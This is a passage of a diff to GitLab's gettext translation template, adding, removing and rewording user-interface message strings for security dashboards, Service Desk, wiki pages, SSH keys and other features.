+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
